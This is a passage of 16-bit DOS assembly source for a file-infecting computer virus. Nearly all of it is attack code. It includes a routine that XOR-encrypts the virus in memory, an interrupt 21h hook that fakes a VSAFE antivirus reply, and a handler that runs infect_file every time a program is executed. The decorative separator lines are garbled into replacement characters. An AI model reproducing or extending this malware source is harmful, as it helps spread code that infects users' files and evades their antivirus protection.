;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; In-memory encryption function
; **virus encrypted in memory up to this point**
;
mem_crypt:
mov cx,offset mem_crypt-offset code_start
xor di,di ;offset 0
mem_loop:
db 2Eh,81h,35h ;CS:XOR WORD PTR [DI],
mem_word dw 0 ;XXXX
inc di
loop mem_loop
ret
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; Interrupt 21h
; returns SI=0 and passes control to normal handler if
; VSAFE uninstall command is recieved.
;
new21:
pushf
cmp cs: activate,1 ; time to activate?
jnz no_act
cmp ah,0Bh
jl act_routine
no_act:
cmp ax,signal ; be it us?
jnz not_us ; richtig..
cmp dx,vsafe_word
jnz not_us
xor si,si ; tis us
mov di,4559h ; simulate VSAFE return
not_us:
cmp ah,4bh ; execute phile?
jnz jmp_org
go_now: push ax bp bx cx di dx ds es si
call mem_crypt ; decrypt in memory
call infect_file ; the mother of all calls
call mem_crypt ; encrypt in memory
pop si es ds dx di cx bx bp ax
jmp_org:
popf
db 0eah ; jump far
old21 dd 0 ; O:S
exe_header:
org_bytes db 0CDh,20h,0,0 ; original COM bytes | exe hdr
;<3B><><EFBFBD><EFBFBD> Start of heap (not written to disk)
heap:
db 14h dup(0) ; remaining exe header space
old_24_off dw 0 ; old int24h vector
old_24_seg dw 0
r_delay db 0
size_disp db 0 ; additional size of virus
vend: ; end of virus in memory..
cseg ends
end start
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